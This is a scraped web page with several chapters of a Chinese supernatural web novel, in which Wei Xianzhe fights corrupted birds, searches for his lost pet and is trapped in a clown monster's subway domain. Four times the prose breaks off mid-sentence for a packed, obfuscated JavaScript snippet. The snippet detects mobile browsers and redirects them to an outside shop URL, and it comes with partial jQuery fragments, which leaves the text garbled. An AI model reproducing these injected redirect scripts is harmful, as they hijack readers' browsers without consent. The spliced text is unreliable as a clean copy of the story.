突然,“滴滴。”戴在左手上的手表发出了震动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604021|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他低头看去,脑海猛地震荡。 上面清清楚楚地显示着——污染值0%、畸变值69%、异能值2级。 他的畸变值再一次下降了,在他的主观意思中,甚至上面的异能值2级,同样是他的主观想法。 刚洗过澡,浴室里的热气还没彻底散去,在镜面上再一次浮现一层蒙蒙的水雾。 危先折抬眼,抬手轻轻擦去。 -- 特管局 李潮识将人面蛛的报告打给了上级,“蛛丝已经交给后勤部,量很大,应该能造三件软甲。” “挺好。”上级是个老头,瞧起来有几分吊儿郎当的,他抖了抖腿,又喝了喝茶,才问,“危先折还是不愿意加入特管局?” 李潮识点点头。 “唉。”老头叹气,“能进SA研究基地的都是各个领域的天才,我馋他们很久了,还是缺人啊。” 李潮识也有些叹息,他又道:“危先折觉醒了异能,他说叫命运。” “命运啊……”老头有些心不在焉的,可很快,他猛地从椅子上站了起来,“你说什么?危先折的异能叫什么?” “命运。”李潮识语气冷静。 老头马上开始原地转圈,他握着自己的保温杯,喃喃道,“命运,怎么会是命运呢。” 他突然停下脚步,看向李潮识,语气凝重:“无论如何,一定要让危先折加入特管局。” 李潮识有些不解,但还是点了点头。 他不知道的是,等他走后,老头马上打了个电话出去:“对,就是命运,命运出现了。” 不管对方那边有多么兵荒马乱,老头风雨不动安如山,慢吞吞地喝了一口茶。 诡异的出现,最早可以追溯到三年前,可那时候的诡异,一年才出现一两次,一有动静,特管局马上派出人手解决。 可今年,还不到一年时间,这类诡异光是在安市就已经出现了13次,不,包括这次危先折碰到的人面蛛,诡异已经出现了14次。 这意味着,每个月,安市都至少都有一起诡异伤人的事件出现,更别说全国各地了。 消灭诡异、后续的隔离、被污染的群众的治疗,这些都是特管局的活,加上后勤部,特管局满打满算就九十来个人,其中有六十来个人分散在各个省。 第一起诡异出现在安市,上面就直接把总部设在了这里,老头正是特管局的第一任局长,可今年诡异四处出现,特管局的人手显然不够用。 能激活异能的就那么些人,消除诡异靠的还是他们,每次诡异出现的时间和地点都不随机,他们都只能靠飞机全国各地支援。 特管局处理过最棘手的一起诡异是三级诡异无头女。 这一起也出现在安市。 一年前,无头女出现在滨海大桥上,将桥上的所有车都拖入了它的域。 尽管特管局救助及时,还是有不少人死在了域里,特管局只能用车祸掩盖事实。 直到现在,这类非自然现象,依旧没有对外公开。 而老头之所以想到无头女,正是因为,当时滨海大桥上,无头女被消灭前,作出的手势。 正是“命运”两个字。 13.13下面污染值 特管局发生的事情危先折并不知道,此时的他正试图控制畸变值回到70%,他的畸变值能从90%降低到70%,在这个世界上已经算是极其特殊的存在了。 若是再被人发现他的畸变值还能够降低,那这个特管局,他估计就非进不可了。 危先折自认为自己没有什么高尚的品德,他也不喜欢被约束,先前能够待在SA研究基地里,很大一部分原因是基地给了他最大程度的自由。 加上他对物质要求不高,在国外的几年加上在SA研究基地的一年,已经攒够了一笔十分丰厚的存款。 足够他休息好几年了。 此刻,危先折看着镜子里的自己,表情沉着冷静,很快他的眼中便有金光闪过,在腕表显示畸变值70%的时候,危先折缓缓吐出一口气。 然而当他想离开的时候,眼前却一阵阵发黑,身体忍不住发出一层层的冷汗,一股刺骨的寒凉从脚底逐渐升起,让他几乎站不稳。危先折的双手撑在台面上,过了许久,才渐渐缓和过来。 他轻轻一叹,果然,想要改变命运并不容易,以他现在的能力,只是改变百分之一的畸变值,对他的身体都能造成这么大的影响。 不过好在试验很成功。 危先折又洗了一个澡,这才回到房间里。 一进房间,映入眼帘的就是那不大不小的鱼缸,鱼缸内的小家伙不知道什么时候从水里探出了一个脑袋。 水下的几只触手轻轻飘荡,在水面泛起了层层的涟漪。 危先折走过去,有些讶异,“难不成你也是两栖生物?” 小家伙自然听不懂他的话,危先折拿起手机,坐到了书桌前,一打开手机就看到了两个未接来电,他点开,上面显示是外卖。 “买的鱼食到了。”他起身,走到门外,看着已经破损严重的大门,拿起外卖后直接打了个电话出去。 还是恢复原样好。 危先折想到了现在都没有对外公开的这些非自然现象,心想,若是被父亲知道了,可能又得担心受怕,不如直接隐瞒。 他拿了把椅子抵在门上,要是有人想闯进来,也能发出一些动静。 之后便拿起外卖回到了房间。 小家伙似乎知道里面是它的食物,在水里飘荡得更厉害了,它又从水里探出一个脑袋,豆大的漆黑的眼珠子滴溜溜地看着危先折。 危先折原本沉重的心情终于好转了一些,他轻轻点了点小家伙的脑袋。 滑溜溜的,但是他意外的不嫌弃。 危先折总算知道现在的人为什么喜欢养宠物了,每天回家看到这么一个可爱的小家伙盯着自己,一瞬间,仿佛全身的疲惫都消失不见了。 不过危先折很难接受家里有猫猫狗狗这类的宠物,他的洁癖过于严重,严重到一种苛刻的地步,这些宠物的可爱不足以让他忍受它们带来的负面影响,比如掉毛。 61号就不错。 乖巧可爱,又干净。 危先折下意识忽略了指尖触碰到对方时那滑腻的触感,那仿佛是一种黏液,粘在了他的指腹上。 他没有丝毫嫌弃。 -- 天气预报明明报道的晴天,然而一大早,天空中却布满了一层密密麻麻的阴云,成片成片地累积,看起来仿佛要将整片天空都给压垮。 危先折拉开了窗帘,见此眉心微微一蹙,此时耳边突然传来“啪嗒”一声,他回头看,是61号从鱼缸里摔了下来。 61号的胆子大了不少,原本最多只是从水里探出一个脑袋,经过一个晚上,已经敢趴在鱼缸上,几只触手蠢蠢欲动的往外探。 现在就是,干坏事却没有把控好,整只都摔在了鱼缸外面,几只触手还往鱼缸外壁上试探地摸了摸,似乎在找补,是鱼缸的问题。 危先折忍不住笑了一下。 他捞起小家伙,把它重新放进了鱼缸里,又从旁边拿出了几条鱼干,“是不是饿了?” 小家伙的触手缠绕在危先折的手腕上,它就着危先折的手,小口小口地啃食着,每吃一口,只能看到鱼干上小小的缺口。 吃了快三分钟,鱼干似乎毫发无损。 “你是在装可爱吗?”危先折捏起它的一根触手,他曾经见过61号捕食的画面,漂亮又凶残,和眼前的小宠物没有丝毫相似。 不过和之前在视频里看到的新物种相比,危先折自然更喜欢眼前的。 外面的天更黑了,明明是大早上,却如凌晨三四点一般,危先折打开了灯,只是开个灯的时间,小家伙就又钻进了礁石的缝隙里,怎么也看不见了。 危先折想着它应该是吃饱了,然而他刚要离开,小家伙又突然不知道从哪里冒了出来,它又趴在了鱼缸上,紧紧地盯着他。 危先折笑了一下。 “砰砰砰!”突然一阵急促的闷声从窗外传来,危先折抬眼看去,瞳孔中倒映着这惊奇的一幕。 只见成片的鸟群盘旋在半空中,乌压压地将仅剩的光线全部遮挡得干干净净,有几只在盘旋的过程中还撞到了他的窗户上。 好在危先折家里的窗户用料结实,并没有发生损坏。 然而,当他刚要收回目光时,目光却在最前端的那只鸟身上停顿住,那只鸟体型很大,在这一群鸟之间是最突兀的那一只,但是让危先折停住目光的最大的原因是——那只鸟身上,缠绕着一圈密密麻麻的黑线。 黑色,代表死亡和污染的颜色。 那一圈圈的命线,就像是黑雾一般,将巨鸟笼罩在里面。 似乎察觉到了危先折的目光,突然,那只鸟猛地朝他看了过来。 危先折的心中升起一股不详的预感。 ——他的预感一向很准。果然,不到三秒,这只巨鸟便猛地朝危先折所在的位置冲了过来。 除此之外,它身后那密密麻麻的鸟群也一同朝危先折家里的窗户猛地撞击。 “砰!” “砰!” “砰!” 比先前还要剧烈的碰撞声,再坚硬的玻璃,在这样的撞击下,也坚持不了多久。 不到一分钟,玻璃上就出现了一圈的裂隙。 危先折和那只巨鸟对视着,从他的脚步,能够清清楚楚地看到巨鸟那双猩红的眼,它的喙和爪子也是赤红的,此时正张开翅膀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613110|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘旋在他的窗外。 而那些鸟群,一只又一只地继续猛烈地破坏着他的窗户,留下了一大片的污血。 血迹是黑色的。 这些鸟,全是诡异! 危先折的目光做到玻璃的裂缝上,玻璃已经损坏,根本坚持不了多久。 果然,只听到清脆的“哗啦”一声,鸟群破开了窗,玻璃朝房内四处飞溅,与此同时,成片的飞鸟冲了进来,将危先折的整个房间破坏得一片凌乱。 而那只巨鸟,它伸展开翅膀,张开喙,直直地朝危先折的眼睛而来。 危先折匆忙避开,同时调动异能,在巨鸟再一次袭来时,伸手抓住了它的翅膀。 它的羽毛坚硬无比,像是铁片一般,将它牢牢地护在里面,形成了一个绝佳的防御。 危先折目光一冷,眼中金光闪过,用力狠狠一拽,直接扯下巨鸟的三根羽毛。 同时,他勾住了巨鸟身上的黑色丝线,狠狠甩了出去。 巨鸟被黑线带得整只鸟摔到了楼外,它发出一声“唳”,再一次飞了上来,眼中满是恶意,猩红的爪子带着一股森冷,直冲危先折的面门。 危先折丝毫不畏惧,哪怕这是他第一次用异能对上诡异。 再一次调动异能,诡异身上的黑线像是有生命一般,朝危先折涌来,危先折抬手抓住黑线,顿时,这条黑线被他掌心的金丝牢牢固定住,他的大脑飞速转动,一瞬间,只觉得全身的力气都被抽干。 然而成效显著。 黑线的颜色逐渐变淡,像是褪色了一般,金光逐渐顺着黑线,朝巨鸟的方向袭去。 下一刻,狠狠扎进了巨鸟的胸口。 巨鸟飞行的动作一滞,很快,它浑身变得僵硬,怨恨地看了危先折一眼,直接跌了下去。 “砰!”的一声,重重落地。 而其余的鸟群呆滞了几秒后,也像是瞬间回了神一般,僵硬的神色变得灵动起来,发现自己突然出现在了人类的家里,猛地一惊,扇动翅膀飞了出去。 一只鸟动了,其他的鸟就纷纷效仿。 没一会儿,鸟群全部消失。 只有危先折,看着满地的狼藉,缓缓吐出一口气。 他从地上捡起刚刚被鸟群撞落的手机,找到李潮识的电话打了出去。 “我又碰到了诡异。” “是的,是一群鸟。” “为首的那只应该已经死了,其他的飞走了。” 天空的异象早就引起了特管局的注意,李潮识一行人已经快到危先折小区门口了,此时接到危先折的电话,李潮识道:“三分钟。” 危先折“嗯”了一声,挂断电话后,他看着眼前的狼藉,眉心狠狠跳了跳。 他是命犯太岁吗? 两天内能碰上两只诡异。 殊不知,李潮识一行人也纳闷。 “怎么又是他?”成乐嘟囔一句,“危先折是什么很吸引诡异的体质吗?” 吸不吸引诡异,危先折不知道,此时正准备收拾房间的他,扶起椅子,突然意识到房间里过于安静,他一回头,发现鱼缸空空如也。 小家伙不见了。 14.14点污染值 沉默。 危先折停顿了几秒,缓缓走到鱼缸前,虽然先前小家伙也有看起来消失,实际上是钻进礁石里的情况,可是他莫名地知道,小家伙已经不在鱼缸里了。 此时此刻,危先折十分希望自己的预感失误。 然而当他将鱼缸里的礁石一块一块的取出来,连沉在最下面的沙砾都舀干净,却只看到空空如也的鱼缸时,心还是忍不住狠狠一沉。 小家伙可能是害怕躲起来了。 危先折抱有这个想法,把整个房间找了个遍,然而还是什么都没有。 危先折的指尖轻轻攥拳,他将礁石重新摆进鱼缸里,表情却难看了许多。 是他的错。 他应该在鸟群还没撞破玻璃的时候,就把鱼缸转移到客厅。 他应该在鸟群离开的时候,放几分注意力到鱼缸这边。 危先折此刻大脑飞速回想,试图从记忆里找到小家伙消失的原因,然而无论如何,他的记忆里也只有刚刚那群攻击他的鸟。 ……鸟? 危先折目光瞬间凌厉了起来,他走到窗边,即使玻璃已经洒落了一地,仍旧有鸟在飞行的时候撞击到了窗框,此时窗框也被破坏的扭曲了起来,上面还残存鸟群那黑色的污血。 是鸟吗? 危先折闭上眼睛,飞快回想这一切。 这时门外传来椅子被拖动,在地面上摩擦的声音,危先折回头看去,只见没几秒,李潮识几人推开门走了过来。 看到房间里的狼藉,成乐“哦豁”一声。 李潮识问:“没事吧?” 危先折沉默几秒,点了点头:“有事。” 李潮识:“……?” 危先折:“我的宠物不见了。” 成乐凑过来:“什么宠物?那只章鱼?” 严格意义上来说,它不是章鱼。然而此时危先折已经没有心思去反驳,他深吸一口气,才道:“可能是被鸟捉走了,那群鸟应该也是诡异,你们有什么办法可以监测到吗?” 特管局专门针对诡异,或许真的有什么特殊的方法也不一定。 危先折看向李潮识,一字一顿:“帮我找到它,我就加入特管局。” 旁边的沈翊挑眉:“这是威胁?” 危先折淡淡看了他一眼,“是交易。” -- “我们来之前就看到了那些鸟群,它们身上的污染值很低,对它们几乎没有造成任何影响,之所以攻击你,也是受头鸟领导。” 特管局内,明亮的会议室中,李潮识站在屏幕前,轻轻点了点屏幕上巨鸟的照片。 “你杀死的这只巨鸟应该就是头鸟,头鸟受到污染后,无意识间的接触让那些鸟群也沾染上了污染值,可头鸟死亡之后,本就不多的污染值对他们的影响更小了。” 李潮识说着,眉心紧蹙,“失去头鸟后,他们四处分散,没有任何规律。” 鸟群身上的污染值低到可以忽略不计,它们又“大难临头各自飞”,更是给他们寻找鸟群带来了不少的难度。 李潮识将一个类似司南的东西递给危先折:“这个是特管局发明的追踪诡异的装备,仿照司南的造型做的,我们也叫它司南。” 危先折接过,看着这巴掌大的玩意儿,问:“怎么用?” “不用操作,碰上诡异,它就会自动转动,勺柄指向的方向就是诡异所在的位置,追踪诡异的功能和我们的腕表差不多,只是它更灵敏一些,检测的范围也扩大到一千米以内。” 一千米。 腕表检测的范围仅仅只有十五米。 特管局已经很有诚意了。 危先折礼貌颔首,“多谢。” 李潮识笑了笑:“你也说了,这是交易,我们希望你能成为我们的一员,这点东西还是拿得出来的。” 李潮识几人和危先折一前一后走出特管局,正好碰到一个老头端着保温杯慢吞吞的从一辆商务车上走了下来。 老头看到危先折后,眼睛瞬间一亮,保温杯的盖子都来不及转上,就快步走到了危先折面前。 他伸手:“久仰大名久仰大名。” 危先折:“?” 李潮识上前一步,介绍道:“这是我们局长。” 危先折这才伸手握住对方。 老头脸上的笑容不像是假的,他语气亲切:“早就从李潮识他们那里听说过你了,只是之前一直没有机会,现在见到你,果然是百闻不如一见。你来特管局有事?办的怎么样了?现在你是要走了?不如走之前来我办公室坐坐?” 还没等危先折说话,李潮识再次道:“他的宠物被诡异抓走了,我把司南借给了他。” 老头不仅没有生气,反而还笑眯眯的点点头:“不错不错,你还想要什么?只要是我权限以内的东西,我都可以去申请申请。” 成乐插了句嘴:“局长,你别太偏心。” 老头顿时瞪了成乐一眼。 危先折礼貌笑笑:“不用了,有司南就可以了。” 老头的表情看起来还有些遗憾,还没等他再说什么,找宠物心切的危先折便开口道,“我还有事情,就先走了,以后有机会再来拜访。” 他这样一说,老头也没发再把人留下来,他点点头,看着危先折离开的背影,忍不住啧啧两声。 瞧瞧,这模样这气度。 他怎么就不愿意加入特管局呢。 -- 一千米,听起来很远,实际上却是很短的一段距离。 成年男子三四分钟就能够跑到一千米,肉眼眺望,也能够清清楚楚看到千米内的一切。 单靠这个司南,想要找到那些漫无目的四处飞行的鸟群,显然是不合理的。然而蚊子再小也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617833|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉,危先折干脆带着司南上了地铁。 安市的地铁有六条线路,全部坐穿,基本上也将整个安市逛了一遍。 这个点地铁里的人不多,还有很多的空位,危先折找了一个靠近门的位置坐下。 地铁发出滴滴的声响,几秒后关上了门。 危先折看了一眼,车厢内空空荡荡,他所在的车厢里还有七八个位置没有坐人,他闭上眼睛,将巴掌大的司南放进了口袋里,指尖轻轻搭在司南的勺柄上,确保一有动静,他就能立刻反应过来。 地铁隔四五分钟就会经停一站,停三十秒左右会再次启程,半个小时过去,车厢内下车的人少上车的人多,很快就做得满满当当,还有几个人扶着扶手,低头玩手机。 司南依旧没有任何动静。 时间一分一秒的过去,危先折看了眼指示牌,还有一站就是终点站了。 他有些失望,这时他听到车厢再次发出“滴滴”的提示音,紧接着车门缓缓闭拢,地铁再次向前行驶。 这时,勺柄突然动了一下。 危先折猛地睁开眼睛。 勺柄以一种极其缓慢的速度,逐渐转向了车头的方向。 地铁有好几节车厢,危先折所在的车厢属于中段,他看了眼地铁上的空调标识,上面显示1、6车厢为弱冷,2-5车厢为强冷。那么这意味着这座地铁有六节车厢,他应该是在四车厢。 司南指向车头的位置,意味着,前面很有可能,出现了诡异。 危先折缓缓起身,然而当他正准备到前面看看时,地铁突然一暗,像是有人突然把灯光关闭了一般。 与此同时,他的腕表持续不断的报警。 “污染值10%。” “污染值20%” “污染值30%” … “污染值50%。” 最后污染值停在了55%这个数值上。 危先折的表情渐渐沉了下来,漆黑的车厢内,乘客们一片慌乱,他们打开手机的手电筒,“怎么回事啊,怎么突然停电了?” 只有危先折知道,当诡异的污染值超过40%,就会形成域,而现在,很显然,他们已经进到了这只诡异的域里。 55%。这是危先折碰到的第一只,污染值超过40%的诡异。 他看了眼手机,没有信号了。 很快其他乘客们也发现了:“我手机没信号了。” “我也是。” “怎么好端端的又停电又没信号了?我们刚刚是进到隧道里了吗?怎么外面也怎么黑啊?刚刚虽然阴天,但是没这么黑啊。” 此话一出,所有人都着急了起来:“地铁故障了?” 突然间,地铁车厢的喇叭内传来一阵电音,紧接着,一道尖锐的笑声从里面传了出来:“乘客朋友们,欢迎来到,我的游乐园。” 15.15点污染值 这道声音很大,大到车厢内所有乘客都皱眉捂住了耳朵,紧接着又是一道刺耳的电流声,再是哐当一下,车厢内的灯光突然亮起。 所有人面面相觑。 “怎么回事啊?” “刚刚那个人说什么?游乐园?” “是恶作剧吗?” 大家窃窃私语,心中却都升起了浓浓的不安。本来想打电话问问,地铁的信号却仍旧没有恢复。 突然间,地铁的话筒再一次打开,这次是一道机械的电子音—— “欢迎乘坐轨道交通四号线,本次列车终点站,新世界,请站稳扶好,为需要帮助的乘客让个座,下一站,旋转木马。” 听到这里,危先折的心沉了沉,这次的诡异显然和他之前碰到的都不一样,它的域和鱼人那四处蔓延出海雾的截然不同,而是已经形成了一个新的世界。 他们这些乘客,全部被拉入了这个世界里。 “我明明坐的是一号线,怎么变成四号线了?而且这个终点站和下一站,我听都没听过,这真的不是有人在恶作剧吗?”说话的是坐在危先折对面的一个眼镜男,他的脸气得涨红,“到底是谁在恶作剧!” “是啊,是谁在恶作剧,还不赶紧出来,我家里还有事等着我回去呢!” “我客户也还在等我,要是迟到了我这个工作就丢了!” “呜呜。” 气氛紧张而焦灼,有几个年纪小的因为害怕还忍不住哭了出来。 车厢内的座位本来就坐满了,剩下扶着把手的几人也默默找了个角落站好,他们的脸色都很难看,没有座位的情况下,更是少了几分安全感。 窗外依旧是一片漆黑,只有车厢的轻微震动告诉他们,地铁仍然往前行驶着,只是这次,时间仿佛按下了暂停键,明明几分钟就能到的下一站,却迟迟没到。 车厢内还有人想着如果到了下一站,不管是不是广播里说的“旋转木马”,他们也一定要下车,离开这趟莫名其妙的地铁,如今看来,这个打算也落空了。 从广播声开始后,危先折口袋里的司南便不停地发出震动,勺柄指向的方向一直是前面的车厢,危先折坐在座位上,指尖有一下没一下的在勺柄前端摩挲着。 按特管局的说法,逃离一个域的黄金时间为3小时,越强大的域,逃离时间越短。现在估摸来看,应该过去了五分钟不止。 不过域里的时间和外界的时间流速不一致,况且…… 危先折的目光落到车厢内的指示牌上,上面的时间不知道什么时候变成了23:04分,那些路线图也全部变化,首发站是检票口,接下去依次是旋转木马、海盗船、碰碰车、大摆锤、跳楼机……,加上终点站新世界,一共有十个站点。 “叮咚,前方到站,旋转木马,请下车的乘客提前做好准备,从列车的右侧车门处下车,下车时请注意站台和列车之间的缝隙,谢谢。” 这一句播报,让车厢内所有人都躁动了起来,坐危先折旁边的西装男扭过头来:“你要下车吗?” 危先折摇头。 西装男沉默了几秒,“我不敢下车,这个站点我听都没听过,万一下去之后,是个完全陌生的地方怎么办,到时候要是碰不到这班地铁,就真的回不去了。” 他这句话一出,让想要下车的几人纷纷歇了心思。 “可不下车的话,我们不得坐到终点站?终点站叫什么新世界,听起来就不是什么好地方。”一个扎着马尾的女生扶了扶眼镜,“不如下去看看?” “是啊,万一就是这一班地铁故障了,其他地铁都正常呢?” “啧,我是一定要下车的,客户还在等我,我没这么多功夫陪你们恶作剧。” 大家窃窃私语,实际上因为恐慌,背后都出了一层冷汗。 他们安慰自己,反正地铁开门时间那么长,要是外面和他们想象中的不一样,他们也可以马上回来,不然真的坐到终点站,还不知道是什么情况。 很快,旋转木马站到了,地铁发出提示音后,车门缓缓打开,大家的目光顺着车门往外看,却没人敢第一个下车。 原因无他,车外漆黑一片,是伸手不见五指的黑。 车厢的大门,仿佛怪物的嘴巴,仿佛只要有人下车,这张嘴巴便会合拢,将人彻底吞吃入腹。 莫名的恐惧席卷了整个车厢。 连最开始提议下车的马尾女,也苍白着脸看着这一幕。 车厢内的气氛彻底凝固下来,没有人说话,连呼吸声都静不可闻。对于黑暗的恐惧,让他们瞧着外面,就有一种不知道什么时候会突然冲进来一个怪物的错觉。 时间好像过去了很久,就像是只过去了一瞬间,很快车厢再次传来提示音,滴滴几秒之后,车厢门合上。 最靠近车厢门的几人瞬间放松下来,他们剧烈喘着气,这时才发现自己浑身被冷汗浸透。 这时,危先折缓缓开口:“现在是23:06,如果最早的广播是深夜十二点的话,那一个站台就是四五分钟,一般来说,地铁会靠站停两三分钟,差不多也是这个时间,加上旋转木马,就是一共有十个站,那么到达终点站的时间估计就在深夜十二点左右。” 马尾女愣了下,顺着危先折的目光看向了指示牌,看清楚上面的内容后,脸色猛地一变。 “路线图改了!” 大家抬眼看向路线图,看到那几个明显都是以娱乐设施名称命名的站牌后,脸色都不是很好看。 这一站旋转木马已经过去了,那下一站,海盗船,又会是什么情况? 难不成他们真的要直接坐到终点站? 这时,大家才猛然反应过来,这根本不是什么恶作剧,他们是被困在了这个地铁上! 突然,广播中再一次传来那道尖锐的声音:“为什么不下车?你们为什么不下车?旋转木马不好玩吗?为什么不去往!让我看看,到底是谁不愿意下车!” 随着而来的,是一道沉重的脚步声。 最开始脚步声是从广播里传出来的,后来渐渐的,好像有另一道脚步声,从前面的车厢里传过来。 危先折猛地看向车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660378|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厢前面。 有人过来了。 不,那只诡异过来了。 脚步声越来越近,车厢内的其他联系人也发现了这个事实,大家猛地往后移动,车厢前端形成了一个无人区。 很快,一道身影缓缓从黑暗中出现,它生了一只红鼻子,整张脸被涂的苍白,嘴角几乎上扬到了耳边,绿色的爆炸头,身上穿着卡通服,几乎两米的个头,压迫感十足。 是小丑。 小丑那猩红的眼睛将车厢内扫视了一圈,它的面颊上有几点血迹,尖锐的嗓音充斥着整个车厢:“为什么不下车!” 小丑伸出尖锐的,仿佛还沾了血的指甲,指向车厢内几人:“你,你,还有你!给我下去!” 随着小丑话音落下,车厢门再一次打开,外面依旧是漆黑一片,而被小丑点到的三个人,正是马尾女,危先折,以及坐在危先折旁边的西装男。 马尾女和西装男两个人的脸色已经可以和面粉相媲美了,他们不想离开座位,可小丑的指甲却仿佛要戳进他们的眼睛。 危先折也缓缓起身,他的目光落到小丑的指甲上,层层的黑线宛如一层朦胧的雾,将它的整只手全部覆盖。 上面传来的不祥的气息告诉危先折,现在的他,还不是这只诡异的对手。 口袋里的司南疯狂震动,勺柄对准小丑,证明这个域确实是小丑带来的。 “你们是在等我请你们下去吗?”小丑咧嘴笑了下,它的嘴巴几乎要咧到耳朵上,露出的牙齿也尖锐无比,仔细看能发现,它竟然有两排牙齿,密密麻麻的镶嵌在它嘴里,让人看到就头皮发麻。 危先折第一个下了车。 离开域,不仅仅只有杀死诡异一个办法。他现在杀不死这只小丑,与其和它搏命,不如去那旋转木马碰碰运气。 马尾女和西装男也跟在危先折身后下了地铁。 一出来,他们的眼前便是一花,回神后发现自己竟然直接出现在了旋转木马上,旋转木马已经启动,他们坐在木马上,随着木马的转动上下起伏。 甜美又可爱的音乐传进他们耳中,可在如今这个环境中,却莫名的透着几分森冷,让他们忍不住抱紧木马的脖子。 诡异想戏弄人、杀人都是没有道理可言的,这只小丑诡异,显然只是想捉弄他们,可能等它觉得无趣了,这块挂在他们脖子上的铡刀才会落下。 危先折低敛着眉眼,眼底划过一丝冷意。 “接下来要怎么做?一直在这上面吗?”马尾女皱了皱眉,“就这样坐着?” 西装男烦闷地扯了扯领带,“怎么偏偏是我们,”说着,他看向危先折,“是不是我们在地铁上说的话被它听到了?” 西装男口中的它,自然就是小丑。 他的神情有些颓废,“早知道不问你了,不应该说的,现在好了吧,我们能出去吗?我们会死在这里吗?” 西装男说着,突然感觉自己的腿有点痒,又有点烫,他低头一看。 他的双腿竟然逐渐在和木马互相融合! “啊——” 16.16点污染值 西装男脸上的惊恐毫不掩饰,他指着自己的腿,“我的腿!我的腿!” 他想要从木马上爬下去,可当自己的手碰到木马的时候,手上却仿佛涂了胶水似的,直接粘在了上面。 “放我下去,救命!”西装男额头上的汗珠止不住地滚落,任谁碰到这样惊悚的事情,估计也会如他一样惊慌失措。 他用力地拽着自己的手,可却毫无用处,而双腿头木马融合的速度却愈发快了,没多久,他的整个下半身便粘连在了木马上,这时旋转木马上灯光一闪,西装男彻底和木马合二为一。 他惊恐地看向危先折二人:“完了,彻底完了。” 说话见,西装男的面色突然扭曲,像是承受着极大的痛苦,他大叫一声,突然从旋转木马上跌落。 和木马一起。 而离开转盘的西装男,身形也逐渐扭曲起来,他匍匐在地面上,和木马融合的地方逐渐向上,很快,他的脖子一下全部变成了木马的样子。 像是整个人都被木马吞噬了。 “嗬嗬。”西装男想挣扎,可却全身无力,他歪过头,怨怼地看向危先折二人。 为什么是他? 为什么偏偏是他? 西装男面露痛苦,却一个字都说不出来。 灯光忽明忽暗,木马上的纹路逐渐变得黯淡,很快又变得富有光泽,这种光泽不是木头和颜料,而是来自于,真正的、柔软的皮肤的色泽。 木马变成了真正的马。 而西装男,成了人头马身的,人首马。 马尾女的嗓音颤抖:“现在怎么办?” 她的脸色一片煞白,完全没有想到,刚刚还好端端的一个人,会突然变成一个人头马身的怪物。 这一切都来源于他们身下的旋转木马,而现在,她和西装男一样,被困在木马上,无法离开。 危先折同样被禁锢在旋转木马上。 他细细看了眼西装男,手上的腕表也尽职尽责地将西装男身上的扫描数据展示出来。 畸变值70%。 还有救。 西装男挣扎着想从地面上站起来,可还没去办法控制住马身,此时不断跌倒再爬起,他想尖叫,却发出了马儿般的嘶鸣。 他已经发不出人声了。 危先折微微眯起眼睛,他现在还能在木马上活动,甚至可以离开这里,他看向马尾女:“你还能动吗?” “动不了。”马尾女的心跳如擂,是害怕是不安,她的眼中闪烁着泪花,“怎么办,我们不会都死在这里吧?” 危先折语气镇定:“不会的。” 他扫描了一下马尾女,畸变值36%,在正常范围里,那西装男的畸变值为什么会突然上升这么快? 旋转木马仍旧在转动,轻快甜美的音乐此刻变成了恐怖童谣,随着歌声响起,马尾女的脸色愈发苍白,她的手指轻轻颤抖,“那只小丑让我们下车,是不是就是想让我们死在这里!我不想死,我才刚上大学,我爸妈还在家里等着我,我不想死!” 危先折注意到她的畸变值突然又上升了5%。 他目光一沉 。 在这个空间里,只有旋转木马上亮着光,四周都是一片伸手不见五指的黑暗,旋转木马像是唯一的灯源,像是被世界抛弃了一般,在人心中掀起极大的不安,而随着时间的流逝,这股不安在不断的放大。 这是一种精神折磨。 危先折的眼睫轻轻一扇,蓦地,他抬眼看向前方。 那里有一道模糊的人影。 不,或许不是人影,而是那只小丑诡异。 它在看。 危先折的手指轻轻蜷曲,小丑在看什么? 似乎察觉到了危先折的目光,小丑诡异咧开嘴微微一笑,它从黑暗中现出身形,鼓着掌:“真是一场精彩的表演。” 危先折冷冷看向它。 它抬起手,打了个响指,西装男就出现在了它的右手边,满脸恐慌地看着它。 畸变值71% 畸变值72% … 畸变值78% 